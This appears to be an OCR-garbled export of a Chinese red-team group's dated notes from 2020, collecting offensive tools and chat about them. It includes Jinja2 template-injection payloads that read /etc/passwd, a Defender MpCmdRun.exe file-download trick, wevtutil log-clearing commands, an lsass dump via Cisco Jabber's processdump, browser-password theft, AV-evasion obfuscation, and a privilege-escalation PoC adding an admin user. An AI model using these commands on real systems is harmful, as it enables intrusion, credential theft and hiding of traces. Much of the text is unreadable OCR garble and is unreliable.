HLIBARITS#

MySQLEZE iRV E& HISID
RedTeaming - 2020-08-26

#BETR#

ERRAEIMYysqUE S X IRERRRSS IR(NE TRAAGFA, 360893 MBarA, XTRIEER.

GitHub+-+evOA/Mysqlist:+Mysql+Serverifhi&-(£ B X {4iEEX-CTF...

z3rQyu: 360 FNZWN?

RedTeaming - 2020-08-27

HIRTR S H#

go get github.com/mitchellh/gox

—REIFHE DT EHRA

Identeier


https://shield.mitre.org/matrix/
https://github.com/refate/frider/wiki/Usage-CN
https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg
https://github.com/ev0A/Mysqlist

» 43 = ~/G/s/L/MingBlog

gox

Number of parallel builds: 15

linux/mipsle:
linux/amd64:
darwin/amd64:
freebsd/arm:
openbsd/386:
freebsd/386:
linux/386:
windows/386:
openbsd/amd64:
darwin/386:
linux/arm:
netbsd/amd64:
windows/amd64:
freebsd/amd64:
linux/s390x:

netbsd/386:

LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog

LearnBeego/WingBlog

CoolCat: go mod thaE—EEfRIAK

L: MPEANENE, go ZTE=F8. BTHTZ/)\E goland FEEMBEAR [HERE]

Wing: go WRAFARE 14 AL, AFH go mod B, RA—MIMEHEFKE src BIERERE.
L: EEsidid

RedTeaming - 2020-08-27

HIRTR S H#

go get github.com/mitchellh/gox

—RRFEFEREZ T TR
gox -h



command not

) n’ = ~/G/s/L/WingBlog

gox

Number of parallel builds: 15

linux/mipsle:
linux/amd64:
darwin/amd64:
freebsd/arm:
openbsd/386:
freebsd/386:
linux/386:
windows/386:
openbsd/amd64:
darwin/386:
linux/arm:
netbsd/amd64:
windows/amd64:
freebsd/amd64:
linux/s390x:

netbsd/386:

LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog
LearnBeego/WingBlog

LearnBeego/WingBlog

CoolCat: go mod thEE—SEARITTX

L: PMEANEE, go RTME=AE. BTATZ/\E goland FEFEMEAE [HEK]

Wing: go RRAFRZ 14 AL, ZAER go mod IR, FA—MRIMBEHEKE src BIEREM.
L: Bt

RedTeaming - 2020-08-28

HINRIS BRI T5#

Docker@@i 545, 55 Bypass
GitHub+-+Bypass007/Learn-security-from-0:+ \OFFIE R RS, ...

RedTeaming - 2020-08-28

#IMNMB B I5#
F _ER#IBurpSuite2020.8HIMachi s
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#AMBIERIG#
SCshell #ARMT

[}83%#%15] SCshell+}/R4MT5++RcollIE


https://github.com/Bypass007/Learn-security-from-0
https://rcoil.me/2019/12/%E3%80%90%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7%E3%80%91SCshell%20%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82/
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HEERERH#
NET541Z /)2
.NET+5+Preview+1H R ERRIZHER#H +-+Eric+zhou+-+1EE R

RedTeaming - 2020-08-28

RIS H#

SRR LGOS M T 4?
WERE: BAEFW D]

z3r@yu: kunpeng?
Wing: XPEER, FRHHHXMN.
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#AMSERIT#
httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -| domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne

z3rQyu: httpx HEBNMERAIEBHAAMRRN, SMKAREFTARRE, SECERECERNMARET

RedTeaming - 2020-08-31
#INRBIEFRI5H#
[HAR¥EE] fastison R FFIIRAREIE

RedTeaming - 2020-08-31

#AR S ERI5#
EAIRRIRHE I IR 21

REFRANAMZFEIREE

yuhao: Neo-reGeorg B key &FA[I%L

RedTeaming - 2020-08-31

#AMBIELA#
GitHub+-+12520520/railgun

HAMESTE

RedTeaming - 2020-08-31

X 5T B3 BRI HENA
K& lazagnet TR
GitHub+-+moonD4rk/HackBrowserData:+Decrypt+passwor...


https://www.cnblogs.com/tianqing/p/12555235.html
https://mp.weixin.qq.com/s/eWPk6EW0vhx6LDdKeCqYeQ
https://mp.weixin.qq.com/s/1B1_eYakY9unA65tHKRz9Q
https://github.com/lz520520/railgun
https://github.com/moonD4rk/HackBrowserData

RedTeaming - 2020-08-31

#INWBIERRI5#
BEHD T ESG MRIEERNGSEMREIN T RRGEEH XA EHPRE AR,
https://github.com/LasCC/Hack-Tools/releases

ZWAT

Template Injections (SSTI)

Template injection allows an attacker to include template code into an existant (or not) template. A
template engine makes designing HTML pages easier by using static template files which at

runtime replaces variables/placeholders with actual values in the HTML pages

Jinja2 ( Flask /| Django )

File reading
{{"._class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} O

{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }} (J

Write into a file

{{"._class mro__[2].__subclasses__()[40]('/var/www/htmi/myflaskapp/hello.txt’,

‘w').write('Hello here !') }} (J

RS R T
Patrilic: #E&itxl
Black cher*: 9

RedTeaming - 2020-09-01

#EFH  HLIPARRIGH
Msf&eid R

https://medium.com/securebit/bypassing-av-through-...


https://github.com/LasCC/Hack-Tools/releases
https://medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe55e3e0c8

H#HE: BEE4m1FE loader
lengyi: TR GG 7, BEEET VT

RedTeaming - 2020-09-01

#BH IR ZE#
RABZTIBEE?

RedTeaming - 2020-09-02

SNRIBIERRIT
XSlusp—B)iE, XIFRED. AIUE TR METE.

GitHub+-+yzddmr6/JspForAntSword:+H[E Y £l JSP—a)i%Payload

RedTeaming - 2020-09-02

Malleable-C2-ProfilesEt &

RedTeaming - 2020-09-02

{RiEETRA-R 2R EFIB
http://8sec.cc/index.php/archives/419/

123qweasdi111111


https://github.com/yzddmr6/JspForAntSword
https://mp.weixin.qq.com/s/d-ypGfoevjOz-VP0-dIVRg
http://8sec.cc/index.php/archives/419/

» ! a fs. &dwBy ULL
> i
l
»
pSourcelnag )il
»
ourceleaders = GetNTHeaders(( }file_data.data(}))
hNTDLL GetModuleHandleA(
ll fpNtUnmapViewOfSection = GetProcAddress (hNTDLL, “NtUrma wO0f
!
| Nt Se.
1% v '
im0
2 file_data { size=0x00006600 }
2 [capacity] 0x00006600 int
» @ [allocator) allocator std:_Compressed_pair
@ [0x00000000] Ox2c’, char
@ [0x00000001) 0x3b "' char
@ [0x00000002) Oxf1'?' char
@ [0x00000003) 0x61 'a’' char
@ [0x00000004) 0x62 'b’ char
@ [0x00000005) 0x61 3" char
@ [0x00000006] 0x7a3'7' char
@ [0x00000007) 0x78 'x' char
@ [0x00000008] 0x67'g char
@ [0x00000009] 0x61 'a' char
@ [0x0000000a] 0x73's' char
@ [0x0000000b) 0x64 'd" char
@ [0x0000000¢] 0x9e '?* char
@ [0x0000000d] 0x9e '?* char
@ [0x0000000¢] 0x61 ‘a’ char
@ [0x0000000f) 0x61'a’' char
@ [0x00000010]) Oxd9 '? char
@ [0x00000011) 0x61'a’' char
@ [0x00000012) 0x7a'z' char
@ [0x00000013] 0x78 'x' char
@ [0x00000014) 0x63 'c’ char
@ [0x00000015]) 0x61 ‘a’ char
Sw0 G o1
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#RRITEICH

Wing: K—MIRMRRIFT, &/E 80 REMEBER,
EviloX: fRAEFERIA, FiAZ7E DSDT f SSDT, BERIEXN EEFMNIT P
L: %%, PRETUERER, St w ITE, REFEREAELT. JBETEERE

RedTeaming - 2020-09-03

You can use C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe -url -path to download your file using Windows defender itself.



RS . BHRRARINT, BRYEE, KRB wd X mpemdrun RE programdata AFRTEEMII {4
lengyi: 28

L: Defender X7 2AZ2TBERMIN [HfiE]

RS FGRERERANT MR, FENFEGERIN

RedTeaming - 2020-09-03

HRRIToH#
BB LS LEHEN,ERMTS.

Release+ConfuserEx+1.4.1+-+mkaring/ConfuserEx+-+Gi...

& > %i# > RedTeaming > WMITHA > SharpScan > DNS Payload > bin > Debug > Confused v U R Confused »p
&FF ) ERE B K
# DNS_Payload.exe 2020/9/3 22:40 HFBEF 17 KB
&) DNS _Payload.pdb 2020/9/3 22:40 Program Debug 12 KB
AT =1 HBER

0= FREERRARN KN

6.5KB HENe 1 G - 00:00:01

|V


https://github.com/mkaring/ConfuserEx/releases/tag/v1.4.1

@ B Bypassav

==

as

=R =F =8 EERFEIR o
S » CheckList v &  ME‘Checklist P
&% BES s *
& RESE
- ., & 360scan 4 TARE
4 TE (3 DNS_Payload 0 wERE 17 KB
= e ¢ @ F28 BF 2020/9/3 22:43:28 BIED - (n] X
CheckList . 5
wing
@ OneDrive S BRR
W s
XEE 2 =4 R ol =257 icRes L)
o B
< >
2 PR U TR M (E(A FHIC)
Bl 1 HTUUL: 0 SEXE: 0

2 MAE &= ME 165 K8

2 N8 =14
n L ERERAFERRORE

YRS J|IBMRBITT [RE], KA VEFSH—ARNTIFTE, 360 INFTRMR
#HRE: EREDIZNH TR

Wing: {RIGHIEI?

RS : 2

crazyman: XN AEFEMN

Wing: REBEENE (e_o;)

RS BAEHAE [(NE]

HOlk: IR
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#RAREIGH#
BIAZIEEAHEN, BRI
Release+ConfuserEx+1.4.1+-+mkaring/ConfuserEx+:+Gi...


https://github.com/mkaring/ConfuserEx/releases/tag/v1.4.1

% > S > RedTeaming > WMTA > SharpScan > DNS Payload > bin > Debug > Confused

B A

# DNS Payload.exe 2020/9/3 22:40 17 KB
&) DNS Payload.pdb 020/9/3 22:4 P — 12 KB

AU aBER

RIREFRRIRIE

6.5 KB t z =
e

"
® B Bypassav
==

] #E =8 EREFIR Py
* » ChecklList v e @B CheckList p
&e L] s 5
#* REGE
= S
1/ DNS_Payloa X 8
$ T P
= EmE ¢ B FNEW BF 2020/9/3 22:43:28 B1ED - o X
CheckList ”
wing
@ OneDrive Gy ERR
@ g
ZEE R e RUgsm = ] L2
o A
. >
2 PR A £if©)

| Emmarze: 1 _ L0 _ TERE0 AT

16,5 K8

E L ERESAFERTORE




HERE: BIVIMRISITT [8E], KAMBTIFRSEH—MINFTFE, 360 2mMFEHMER
HRE: EARIENBIRDEE

Wing: {RIBHEF?

e =0

crazyman: XNAEFI

Wing: REZKETE (e_o;)

HRE: BTEHRTE (NE]

HOlk: &N
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#GRERIG#
1404 StarfJInE,—LERAIERE.
GitHub+-+NotPrab/.NET-Obfuscator:+Lists+of+.NET+Ob...

RedTeaming - 2020-09-04

#INM BB IT#
RIEZI=1TDNSLOGF&
GitHub+-+Buzz2d0/Hyuga:+Hyuga+is+a+monitoring+tool...
DNSLOG.PRO+API
GitHub+-+chennqqi/godnslog:+An+exquisite+dns&http+...

TEREBIE
&) SODNSLOG

P Method Data User-Agent Content-Type EE

Wing: FREERBENECERD

RedTeaming - 2020-09-04

#IMNMB B ToH
YH%N redis AIJLFH getshell 753%


https://github.com/NotPrab/.NET-Obfuscator
https://github.com/Buzz2d0/Hyuga
https://dnslog.pro/api.php
https://github.com/chennqqi/godnslog

M +redis+H0 L +getshell+ 5% +-+3% 8 +'s+blog

RedTeaming - 2020-09-04

#EBRIG#

zsh Fgitiy—LEIRIEIE S

gcl

gaa

ga

gcm

zsh+ T +git+3% (alias) +#1+oh-my-zsh+git+iHE{tEEIEE+-+hello,...

RedTeaming - 2020-09-04

HF AN AW FEF AL E-2)-HPIERIRE CVE-2020-0601 RIEHHT S S
BFHEBN A FEFEBIPLE-2)-MERIERRE+CVE-2020-0601FIEH 175 EM+-+...

RIRSIEEEN.

WA WSt BFEE ®e  HAES LERE
BEBHIR

8.

WE. EE

test  shal  2020%9.. B W
TR O BTEEER
e f
RE [srmaEs.
W HEER EBHE
B(s)
BR(S): <Hif>
test
e {ﬁ -
12 v3 : FeIm
e 5¢58564a48399dcd7d8711785972624cfaSbbc15 ‘ _

HEWE sha256ECDSA 20205984H 16:48:35

BHBTHWE sha256

HRE Internet Widgits Pty Ltd, Some-State, AU
FIB0AMN 202059548 16:48:12
3] 2048E1H21H 16:48:12
{ERH test, test, Copenhagen, Denmark, DK
:

04 74 d1 46 5f €9 67 a0 Oe ba 9e 06 e8 93 71 7c Se ac f7 35 6d c0 b7 96
96 3d €2 ¢595dd 74 46 a5 124992 1910 9a 7a 27 04 0d f5 e7 e4 53 5a
2b 80 1a 4e 12 7b a6 ee b9 38 75 21 79 b4 56 b0 f8 a3 25 b5 06 79 a6 7
fd ce 0d c6 db 23 bb 1 f3 44 1f 67 44 da 92 ba fd 30 66 4¢ 70 31 f1 be af

=0 fed(al BEHRIZHC)..


https://b1ue.cn/archives/318.html
https://segmentfault.com/a/1190000007059404
http://8sec.cc/index.php/archives/420/

RS . RHERIFERZ

Wing: SAIZE-E,

RS BRR,

crazyman: T

lengyi: ®RERT, BzritmIx

PERE . (W] (] BRHMRARERM, BERR, BEIMMESHRT
lengyi: ENMEERRENEHMEZ EHIE

VEIRET . SROMT
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FERM MpCmdRun #IZRSF, E4FIE [FEH]

crazyman: XKET
Patrilic: %EHE

RedTeaming - 2020-09-06

WSR2 ZHFAED
RITARAREE, BR—TEHMNAT

RedTeaming - 2020-09-06

HRETTR#
.Net Core[Z &I F 52 ANTD, ZEHIBIIHIESS.
GitHub+-+Coldairarrow/Colder.Admin.AntdVue:+Admin+...

RedTeaming - 2020-09-06

HREFRH#
27 JLRReact, LEZ AT , B2 Vued.
HreactEE 2R TANTD, BN B HHIF ZReacthiR AN, ZHFHLLRS.

GitHub+-+iczer/vue-antd-admin:+h+Ant+Design+Pro's+...

RedTeaming - 2020-09-06

Bypass+Windows+Defender+Reverse+Shell

‘ Askar

| think it was a large
mistake to leave my
beacon hosted in the
testing environment that |
used for MpCmdRun.exe
technique testing :D

BAABEFTEERT
MpCmdRun.exedZAMEA
AR RE— MR AROE
iRD


https://github.com/Coldairarrow/Colder.Admin.AntdVue
https://github.com/iczer/vue-antd-admin
https://mp.weixin.qq.com/s/dOsZRDNAw47g3xQMbLI89w

RedTeaming - 2020-09-06

#HLIBARRIG#  #AWBIE#

Lateral+MovementZ WMIZE 4T

RedTeaming - 2020-09-09

#imE R F#
CVE-2020-16875: Microsoft ExchangeiZfe i3 fliTRIEES
9.1891F 9 SR RT IA AT R B A& .
CVE-2020-16875:+Microsoft+Exchangei i L i3 1T iIR:R & & +-+360...

-1 BEH exp MPFT
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#INM BB IT#
GitHub+-+j3ers3/Dirscan:+@+B Z13#i T B+Dirscan+, A+simpl...
HERISERT A

z3rQyu: REGEFHRAILA, copy ET
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#windows 10 COM BUG#
2051+-+project-zero+-+Project+Zero+-+Monorail
@ -

IR WA MWV RRH)
e 2m Em

|® amtunmamw - e —— peovaen
Ot P WS MEE FREGHN LASGME  LREGER K )

B Lo ® CreateObje.. MW 2020/9/9 161814 EHOBE—REGROEIL, (0x41306)

« . Microsoft

i Office

o o ]

L =

NET Frame - .

P | Windows 10

Appiication

Apphcation

d AppeDepic Microsoft Windows

S Autochik 13 1909 (O AEREE 18363.693)
BitLocker 4 -

© 2019 Microsoft Corporation, FRMMNEE],
S Sowtooh: R MEA BN &1 OGN HRCKEW

~ Brokerinfra
Centficate* CreateObjectTask Windows 10 @b

i
TIE

" 9 WR Micosoft RESTIER, FANTRSERTSE:

DeviceDire xeck)
2 Diagrosis T
DirectX
1 DiskCleanu e
| osDisgex || mAEse. smmTIsRene, =]
4 DiskFootpri NT AUTHORITY\SYSTEM
RERSRRnEs

] Lo 3
Feodvack FHATH. RESSANAETRRRINGR
! FileHistory ERMTOIRES



https://mp.weixin.qq.com/s/bb_pn1Gk3DUysZ536q77-w
https://cert.360.cn/warning/detail?id=b5e0e30d8a1f3652048a84017fb881b7
https://github.com/j3ers3/Dirscan
https://bugs.chromium.org/p/project-zero/issues/detail?id=2051

:\Users\JiuShi\Desktop>net user
\LAPTOP-3QGBH4RRQ &9 ] 7 K F

DefaultAccount
WDAGUt i | i tyAccount

:\Users\JiuShi\Desktop>PoC_CloudExper ienceHost EoP. exe
Started task PID: 13280
System. ArgumentException: Couldn't find new user
#% PoC_GCloudExper ienceHost EoP. Program. CheckAddedUser ()
# PoC_CloudExperienceHost EoP.Program.Main(String[] args)

:\Users\JiuShi\Desktop>net user
\\LAPTOP-3QBH4RRQ &% B F Kk F

Defaul tAccount
WDAGUt i | ityAccount

:\Users\JiuShi\Desktop>net user K %
m g a

% ENES

[2020/[3/[2 16:18:36
/’\/[\ 7,1:

[2020/[2/(3 16:18:36
No

Yes

*¥Administrators
*None

:\Users\JiuShi\Desktop>,




.
Reported by forshaw@google.com on Thu, Jun 4, 2020, 11:17 PM GMT+8 m
Summary: The CloundExperienceHostBroker hosts unsafe COM objects accessible to a normal user leading to elevation of privilege.

Description:

mmem' s a scheduled task, \Microsoft\Windows\CloudExperienceHost\CreateObjectTask which creates a SYSTEM process
hosting the COM class "CloudExperienceHost Create System Object Server / {7fa3149-91e7-43b7-8040-b707688ced1a” . This is a generic COM broker to

serve classes running at SYSTEM to users for the purposes of configuring things like OOBE and the Retail Demo.

In itself this wouldn® t be an issue as long as the scheduled task and COM servers are appropriately ACL" ed. Unfortunately they’ re not. The scheduled
task can be started by a normal user, and the COM server (f7fa3149-91e7-43b7-8040-b707688ced1a) doesn’ t specify a restrictive Launch Permission in its
ApplD (f7fa3149-91e7-43b7-8040-b707688ced1a) so the default is used which grants the INTERACTIVE group access.

Normally while INTERACTIVE would be able to create a new instance the default Access Permissions would only grant Administrators and the SELF SID
(which would be SYSTEM) access. However, whether a bug or by design when the CloundExperienceHostBroker process calls ColnitializeSecurity it uses a
different AppID (efe2d6d8-a81b-41e7-ae77-e5244ab80522) which grants INTERACTIVE access as well. The end result is a normal unprivileged user can
launch the COM server through the Scheduled Task. activate a new instance and access the resulting COM server.

Again this wouldn’ t be a problem as long as the COM server doesn’ t do anything dangerous. The COM server vends the generic ICreateObject interface
which allows a user to pass a CLSID to create. The broker will only create classes which are registered in
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CloudExperienceHost\Broker\ElevatedClsids which is the following on Windows 10
1909.

0316bbc2-92d9-4e2e-8345-3609¢6b5¢167 CloudExperienceHost Diagnostics Elevated Manager

06dc6740-fd0d-426a-9bf6-20ddbd7d53ce
0b26fe8c-9e57-48ff-ad9f-3084ef402443 ProvOperationsCleanContext

Wing: KUABEMEMT, Bk, NEERE

L: THE, #EIBNMEONRMBFMIXD [ER]

Wing: B7. BUAEIERMNAKMEFE—NIURENAEF,
lengyi: exp FR™H,
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H#AWBIBERT5#
Windows+ \ {&IRilE RIS

L: wevtutil FERtBEAAE <br>wevtutil cl System<br>wevtutil cl Application<br>wevtutil cl Security<br>wevtutil cl Setup

RedTeaming - 2020-09-10

R¥EFIFBLFRIR

RedTeaming - 2020-09-12

fHERExchange ServeriZi2{ti3#4T (CVE-2020-16875)

HNZEFERR:
GitHub+-+dpaulson45/HealthChecker:+Exchange+Server...

WNEE (HE)
Events ID 25552 (New-DlIpPolicy)
Exchange+Admin+Audit+Log+Event+ID+25552+-+New-DIpP...

Event ID 25546 ( mport-DiIpPolicyTemplate)
Exchange+Admin+Audit+Log+Event+ID+25546+-+Import-D...


https://mp.weixin.qq.com/s/uX6Nt6bzGsDOLsRsaXgogg
https://mp.weixin.qq.com/s/zsqUc8YO99Y3EzgOIG9mNA
https://github.com/dpaulson45/HealthChecker
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=25552
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=25546

FR:
https://twitter.com/TomSellers/status/130412597100...

AR
AttackerKB+|+CVE-2020-16875

RedTeaming - 2020-09-13

#ia#
RN %

RIEREEEFORIERZE+DAY1
RedTeaming - 2020-09-16

HRREH#
CVE-2020-14725¥]: CVE-2020-14725 I +|+ A tHE{EE

Wing: FHEMEEHT

RedTeaming - 2020-09-16

#RAE
CVE-2020-14725]: CVE-2020-14725 I+ |+ A BV {EE

Wing: BRBEMEZRXIET

RedTeaming - 2020-09-16

#AMRBRF) A#
CShRZAHAICVE-2020-1472

nccfsas/Tools/SharpZeroLogon+at+main+-+nccgroup/nc...

nccfsas/Tools/SharpZeroLogon+at+main+-+nccgroup/nc...

Tony: &Zl cs AR, TEIRMANZE cobalt strike #@fF, ITH—T2E c#
Wing: execute-assembly

RedTeaming - 2020-09-17
RIS H#

BRI +-+ 55 A14E X
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Big!

C404+Indictment+Reduced+Size


https://twitter.com/TomSellers/status/1304125971000446981
https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875?#rapid7-analysis
https://mp.weixin.qq.com/s/kvMtYtCX3LU5yus1Pc59Ww
https://422926799.github.io/posts/b2a3f021.html
https://422926799.github.io/posts/b2a3f021.html
https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
https://xz.aliyun.com/t/8300
http://www.documentcloud.org/documents/7209586-C404-Indictment-Reduced-Size.html

Wing: @404M93EI51E5
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Question:

%8 T cobaltstrike BIEH? E=

Answer:

TR TYIE, B EHR. 5]

RedTeaming - 2020-09-18

Question:

RB)AE(] 33 F C2 F1 MSF afF# 37 R RIFNS R
THARSFAREEHFANARCTHRE

UR%R, BEELEN], FEMLEME

Answer:

C2 7l msf 0953 AMFENERE—TEHHE, REZBAN. EDFGMRIIEBERMINITARE—E (59%)
AXTFR%R: BRERFEEFS), EMAIFE ired.team F#3],
RRGE, FAANDSERER, 2HE, TEEANRAEITIE, R,
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{ERyaraBh il B R 4G
RedTeaming - 2020-09-24

#INR S ERT5#

Shiro+{HH R SR

RedTeaming - 2020-09-25

HEETESH

EIRATH I (F &7 BERRTE) K BE


https://mp.weixin.qq.com/s/cyAzSUoUvSw3XrAqcQs0sw
https://mp.weixin.qq.com/s/NSEwb-K2NuhoFMVkVtFxDA

TERPAEMARIER DL (MHANE T ithht)
RedTeaming - 2020-09-26

NG5

YTRARR I FID +-+ 4R SRV E
RedTeaming - 2020-09-27

#L1NUxIXPRAESF#
SnakeZ EXEH3


https://mp.weixin.qq.com/s/fziXRNrWLzQhJJJNUnRS5Q
http://8sec.cc/index.php/archives/426/

LinuxtX fRZE 15

SnakeZs BV &S

make
./3nake

ssh root@
roote password:

Permi ease try again.
roote password: §

)/27. 3:21 PM

WO RIGETS
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#C2#
BAEEAPERAE, BENREFRURIETRRIFE, LinuxhRAEIC2 GolEEEMFRIAIF/LNT . MOINEEMZE I Fs5/httpflIE, ARFIMAZIHA— TblueshellflDeimosC2 ,

1R T #i/CrossC2

lengyi: X1 mac, =, AT #ER@EEN


https://gitee.com/mirrors_trending/CrossC2
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HLIPAR B EI R H#
MRBEEHSHWENH TANE, JNEEENRIMELRA, ZEREABMBEHEM,
Environment
« CurrentUser.cs - the current user
+ DomainName.cs - the domain name
« HostName.cs - the hostname
» LoggedOnUsers.cs - List all logged on users
« OSVersion.cs - OS version information
« VirtualEnvironment.cs - Checks if we are operating in a virtualised environment
« userEnvironmentVariables.cs - Grabs the environment variables applied to the current process
« SystemEnvironmentVariables.cs - Grabs system environment variables from the registry (HKLM)
- NameServers.cs - Gets the DNS servers for each network interface
Defences
« AVProcesses.cs - Checks if any known AV processes are running

GitHub+-+mdsecactivebreach/sitrep

RedTeaming - 2020-09-29

#AMBIERIG#  #Go# #EBICFRHA
dump T2 BRME B

Windows

Browser Password Cookie Bookmark
Google Chrome ? v V

Firefox

Microsoft Edge

360 Speed Browser
QQ Browser

Internet Explorer

History



https://github.com/mdsecactivebreach/sitrep

"UserName": "Wing",

b
¥ = ~/Re/RedTeanT/02/1/HackBrowserData/bin JISHISIENNGSECINaIN

./hack-browser—-data

Wing: HBRBEMNE—TAMREETHOCEERTAEN, RAKAE.

RedTeaming - 2020-09-29

#HNWBIERLI5#
@iy

R BRIFE CertutiliIPowershellfid & BurpiRiE g ith 32 4

RedTeaming - 2020-09-29

#AMSERI5#

15831% — — {EfMachineAccount3LIDCSync

RedTeaming - 2020-09-29

#AWBIERRIT#
Cisco Jabber dump Isass

cd c:\program files (x86)\cisco systems\cisco jabber\x64<br>processdump.exe (ps Isass).id c:\temp\lsass.dmp

RedTeaming - 2020-09-30
CompatTelRunner.exefXfRiZFH#


https://mp.weixin.qq.com/s/f7sOjXjkbg3KFSJgXc1jPQ
https://mp.weixin.qq.com/s/DJ-ymALN3lvP43g7ZCgUFA

s) WMD) BEY) SR BED woto || -

3 Windbowes 7 204

Ff recisiry Worranop lor st rwin Buioc2o0iiT W IR W R

o R,

NT AUTHORITY\SYSTEM

RedTeaming - 2020-09-30

HIERE S H#

Docker 52D+

RedTeaming - 2020-09-30

Rootkit for Applnit_DLLs
ELRAT, HEREER77-rootkithl TR, CEHIMT T,

Wing: g&id 360 FEFiA. [ATLE]
PERE: BAE, RIEFKEED.

RedTeaming - 2020-09-30

Rootkit for Applnit_DLLs

BRAT, MRIAERI77-rootkithl TERRIE, CEMIIT T,


https://knarfeh.com/2017/12/15/Docker%20%E6%B8%85%E7%90%86%E5%8D%AB%E5%A3%AB/
http://8sec.cc/index.php/archives/429/
http://8sec.cc/index.php/archives/429/
https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/?utm_content=131234033

Wing: #Eid 360 FFiMA. [AELE]
WRE: BAE, RERET.

RedTeaming - 2020-10-01

HEMFERRR

Black cher*: , . . BREHENEEZRSR

RedTeaming - 2020-10-01

EEEHA:
5% https://pan.baidu.com/s/1q6HP29k007AK5fOWkb8Srg

$REVES: KcG3
RedTeaming - 2020-10-01

#BypassAV# #RIMBIETIS


http://www.youmingdifu.com/
https://pan.baidu.com/s/1q6HP29k007AK5fOWkb8Srg

ABX{H: C
Obfuscate

ABEIR: HEUR/QV
IIEEAEBE, 3600 I,

| [
-

03.0.4A57 .Malware.Gen

AIMEE bvA:I (53

waa

B C\Windows\System32\cmd.exe - a X

2019-1405-and




RedTeaming - 2020-10-01

FFAOPENVPNEZ & X 41T R

RedTeaming - 2020-10-03

#EHEH#

Liie 1! 4G @)

« Twitter

config.py v

# Logger Configuration

LOG_LEVEL = "INFO'

# Webserver Configuration
WEB_HOST = '0.0.0.0'
WEB_PORT = 8080

WEB_DEBUG = False

WEB_USER = os.environ.get('username',
‘admin')

WEB_PASSW = os.environ.get('password'


https://xz.aliyun.com/t/8289
https://github.com/PaytmLabs/nerve

WEB_LOG = 'nerve.log'

# Web Security

# Setting this to True will return all
responses with security headers.

WEB_SECURITY = True
WEB_SEC_HEADERS = {
'CSP':'default—src \'self\' \'unsafe-

inline\'; object-src \'none\'; img-src
\lself\' datas’,

LCTO* : "noshi i,
1XSS':'1: mode=block',
EXFO" < DENY! ;

RedTeaming - 2020-10-03

#H BT
Bnfti@idunicodeEMEMUEE, FTNBEIVIERIZEERERIMAERC2,

RedTeaming - 2020-10-03


https://www.kitploit.com/2020/10/urideep-unicode-encoding-attacks-with.html?m=1

#CSTips# #RWMBERIT#

Cobalt+Strike+&%id B EHiT

RedTeaming - 2020-10-05
Avged

Defeat+Bitdefender+total+security+using+windows+AP...

RedTeaming - 2020-10-05
#RAH#  HAWMBIERIGH
RARIG-RITRARLSHRNEE

RedTeaming - 2020-10-06

windows 10 bypass UAC#;I5#
https://swapcontext.blogspot.com/2020/10/uacme-35-...

B SLRYE]

MicrosoftfiatisEiEWindows 10'(_13ﬂ,—é§§EServer) MHE =58R", E—RAIRE:

1. SRR,

2. BIRATTRIRE, iIAA RS AR AR Z I AR PRI A A R SRR,

3. ETLLEIERIESIEEG] (29F, REERREGRUERE)) ;
4. IR RERTE L SE— B,

RedTeaming - 2020-10-08

#AR S ERT5#

MSSQL—FTRIDNSHIMIH T

RedTeaming - 2020-10-08

bypasuacifzl: bypass+UACHRZ ++ M iHEOIEE

RedTeaming - 2020-10-09

#RRt #RBUF R
FEXSWDBIHFERS B 5hiR5!

GitHub+-+rasta-mouse/ThreatCheck:+ldentifies+the+b...

RedTeaming - 2020-10-09

#INR B B T5#


https://paper.seebug.org/1349/
https://shells.systems/defeat-bitdefender-total-security-using-windows-api-unhooking-to-perform-process-injection/
https://mp.weixin.qq.com/s?srcid=1004hhII5js44KEL9CgdRmEe&scene=23&sharer_sharetime=1601822770962&mid=2247485046&sharer_shareid=2bfea3a1914646ead630f87d9dbd3069&sn=51c98ac8f1e61a667ec3dfaf72155bfd&idx=1&__biz=Mzg2NjQ2NzU3Ng%3D%3D&chksm=ce4b2de1f93ca4f79ba561decfeee3514c1f43c5751832c8e5c1073d6dc8a0e582706b52741c&mpshare=1#rd
https://mp.weixin.qq.com/s/NtGJhYn3bL9YFmTqmdObVg
https://422926799.github.io/posts/70084607.html
https://github.com/rasta-mouse/ThreatCheck
https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html?m=1

sourmap F R
GitHub+-+rarecoil/unwebpack-sourcemap:+Extract+unc...

RedTeaming - 2020-10-10

#Boh#
FELUE
GitHub+-+webanalyzer/rules:+if FA I35 SR

RedTeaming - 2020-10-11

HEFTRSH

BEARERITICHDE, TERINE, PENBSRALTEEBEILPERILRAIT. FEROMEERNEER.
#RE: tMREERRNSZNRAREMN

Wing: HEBHEMRMKR, REDNMEZREE.

Wing: BRITAZEIIHE,

HRE: EMBIFTENMRFEF AT AEIERESER
lengyi: XFERBESHHE

RedTeaming - 2020-10-13

—££403bypasskitips

